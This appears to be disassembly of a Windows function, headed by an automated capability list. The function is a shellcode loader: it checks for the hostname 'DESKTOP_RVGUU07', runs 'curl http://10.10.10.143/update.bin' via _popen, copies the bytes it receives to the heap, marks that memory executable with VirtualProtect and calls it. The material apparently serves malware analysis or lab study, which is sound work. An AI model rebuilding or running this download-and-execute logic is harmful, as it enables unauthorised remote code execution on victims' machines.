Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get hostname
Read file on windows
Terminate process

Disassembly:
sub rsp, 0x338
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x320], rax
lea rdx, [rsp + 0x24]
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x24], 0x10
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x140001302
mov edx, dword [rsp + 0x24]
lea rcx, [0x140003334]
call fcn.140001010
lea rdx, [rsp + 0x30]
xor eax, eax
lea r8, str.DESKTOP_RVGUU07
nop dword [rax]
movzx ecx, word [rdx + rax*2]
cmp cx, word [r8 + rax*2]
jne 0x140001302
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [r8 + rax*2 + 2]
jne 0x140001302
add rax, 2
cmp rax, 0x10
jne 0x1400010d0
lea rdx, [0x140003338]
mov qword [rsp + 0x330], rdi
lea rcx, str.curl_http:__10.10.10.143_update.bin
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rdi, rax
test rax, rax
jne 0x140001135
lea rcx, str.popen___failed.
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
lea ecx, [rdi + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 1
mov qword [rsp + 0x340], rbx
mov r8d, edx
lea rcx, [rsp + 0x20]
mov r9, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
test rax, rax
je 0x140001194
lea rbx, [rsp + 0x50]
nop dword [rax]
movzx eax, byte [rsp + 0x20]
lea rcx, [0x140003334]
mov edx, eax
mov byte [rbx], al
call fcn.140001010
mov edx, 1
lea rcx, [rsp + 0x20]
mov r8d, edx
lea rbx, [rbx + 1]
mov r9, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
test rax, rax
jne 0x140001160
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x2c1
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x140001212
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.HeapAlloc_failed.
call fcn.140001320
mov rcx, rax
lea rdx, [0x1400014f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
mov rbx, qword [rsp + 0x340]
mov rdi, qword [rsp + 0x330]
mov rcx, qword [rsp + 0x320]
xor rcx, rsp
call fcn.1400015b0
add rsp, 0x338
ret
mov rcx, rbx
lea rax, [rsp + 0x50]
mov edx, 5
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140001220
movups xmm0, xmmword [rax]
lea r9, [rsp + 0x28]
mov edx, 0x2c1
movups xmm1, xmmword [rax + 0x10]
mov r8d, 0x40
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movzx eax, byte [rax + 0x40]
movups xmmword [rcx + 0x20], xmm0
movups xmmword [rcx + 0x30], xmm1
mov byte [rcx + 0x40], al
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400012eb
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.VirtualProtect_failed.
call fcn.140001320
mov rcx, rax
lea rdx, [0x1400014f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rbx
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400011e5
call rbx
mov r8, rbx
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
jmp 0x1400011ea
mov eax, 1
mov rcx, qword [rsp + 0x320]
xor rcx, rsp
call fcn.1400015b0
add rsp, 0x338
ret